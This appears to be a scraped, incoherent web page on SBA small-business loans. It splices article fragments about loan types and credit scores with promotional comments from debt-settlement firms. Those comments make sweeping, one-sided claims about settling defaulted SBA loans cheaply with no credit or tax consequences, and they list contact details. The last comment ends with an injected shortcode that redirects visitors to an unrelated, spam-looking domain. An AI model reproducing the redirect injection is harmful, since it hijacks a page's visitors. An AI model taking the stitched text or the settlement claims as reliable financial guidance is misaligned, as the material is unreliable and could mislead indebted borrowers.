Trade finance under the SBA Export loan program is broken up into three types of loans, but they all have the same goal. The aim is to expand international trade and export activities. Here is what each loan within the SBA Export program can be used for:
Our technology enables fast and easy SBA loans with low monthly payments and great rates, while our marketplace of SBA preferred banks increases the likelihood of getting a “yes” because we match you with the lender most likely to fund your loan.
Businesses that are more established and want to apply for bank loans can check out their business credit scores (which generally range from 0 to 100) at three business credit bureaus: Experian, Equifax and Dun & Bradstreet. Check out these five steps to building business credit, and if you see any mistakes on your reports, contact the bureaus.
Nancy, I wish you had contacted me earlier. I am an attorney and have been since 1977. Our company has been dealing with borrowers struggling with SBA loans for more than 30 years and much of what you hear on this web site and others is frankly…. WRONG!!! We resolve SBA loans every day. In nearly every case we do so without you being sued and, in nearly every case, without any damage to your personal credit score. You see, when the loan was made, it was not made to you, but rather to your company…. The LLC or corporation that actually owns your business. You guaranteed the loan, but you are NOT personally on the loan documents. The bank did not make the loan because it was so excited about your business, but because the SBA guaranteed to reimburse the bank 70% to 90% of the unpaid balance should your business be unable to repay the loan.
Many new small-business owners access financing through personal loans, often via a growing number of online lenders. But like credit cards, personal loans can have high APRs, especially for bad credit borrowers.
This article should have armed you with enough information on the 6 types of SBA loans to help you decide which one is right for you. If you don’t think any of the SBA loans are right for you, there are plenty of other financing options available for you, which you can learn about by reading our other articles.
One of the best options you have when your business is facing a short-term financial need is an unsecured business loan – and you won’t have to risk important company assets. There’s also no risk to your home, vehicles, or long-term assets like a 401(k) or IRA.
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Che’ri, the SBA can certainly garnish wages in any state. Texas is among the most protected states in the country via the homestead exemption act, however that does not protect wage garnishment. The number one goal for all of my clients is to get an Offer in Compromise in front of the SBA prior to any type of wage garnishment procedure. It is very important to engage somebody with experience with defaulted SBA loans as well as Offer in Compromises. [email protected] with any questions or concerns.
Lenders will want to know how you plan to use the money and will want to see that you have a strong ability to repay. They may require a solid business plan that details the purpose of the loan and how you expect it to increase profits.
We recommend working with Liberty SBF for SBA 504 loans. If you have a credit score above 680 (check here for free), you’ve been in business 3+ years, are profitable, and need more than $500k, speak with Liberty SBF.
This is partially because more and more entrepreneurs are deciding to start their own small businesses annually, averaging around 675,000 new businesses in 2015, according to the Bureau of Labor Statistics. Additionally, those already in business are borrowing at higher rates to either sustain or grow their companies, making them stronger in the long run.
Equipment financing allows you to borrow money to purchase necessary business equipment outright. The borrower will pay back the total amount borrowed, plus interest and fees over a pre-arranged period of time.
We routinely settle these claims for less than $.10 on the dollar. We get your personal guarantee removed and the liens released on your property. And because the loan was made to your company and not to you, it will not affect your personal credit score. And contrary to what is said above, you will not get a 1099 for the amount of debt that was not repaid. You will be barred from getting another SBA loan, but that is it. You will be free to move on with your life!!!
SBA loans come from participating banks, credit unions, and licensed non-bank lenders but they are partially guaranteed by the U.S. Small Business Administration (SBA), a federal agency that promotes small business ownership in a variety of ways.
The SBA CAPlines program has five SBA line of credit products that are designed to provide up to $5 million to help small businesses meet their short-term and cyclical working capital needs. The five types of SBA CAPLines are:
Microloans are up to $50,000 with up to 6-year terms.They have higher interest rates (8% -13%) than most other SBA loans. The SBA issues Microloans through nonprofit, community-based organizations. Microloans cannot be used to refinance debt or purchase real estate. Read more…
Community Advantage is a pilot initiative aimed at increasing the number of SBA 7(a) lenders who reach underserved communities, targeting community-based, mission-focused financial institutions which were previously not able to offer SBA loans.
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2. Six months into the business I discovered all financials were fraudulent. Filed suit on previous owner and got $100,000 note discharge. Notified SBA and asked for reduction and got interest only payment for a period.
Here at Bridge Management we are experts in SBA Default situations, personal guarantees, Offer in Compromises, debt workouts, etc. I am always available to answer questions or concerns. [email protected] 401-390-3800 Direct Number
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We didn’t think of that as an issue because we were in line for a large contract with one of our customers. Our customer had every intention of going through with the contract, but The Army cancelled their contract. We expect to see the contract come back in the next 6 months, but don’t think we’ll be able to sustain until then. Need some help.
We are sorry to hear about your misfortune. Unfortunately, this will likely continue until all of the loan amount is repaid, although they should provide accounting statements, especially if you have requested them.
Hundreds of educational resources are also available for free on SCORE’s website (http://www.score.org), including downloadable templates and tools and daily blog posts on best practices in business. In 2016, 2,982,519 unique visitors accessed the www.score.org website.
Karen you can send me an email or call me anytime. I do SBA debt settlements and workouts everyday here at Bridge Management for defaulted businesses. [email protected]. Don’t hesitate to ask any questions. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]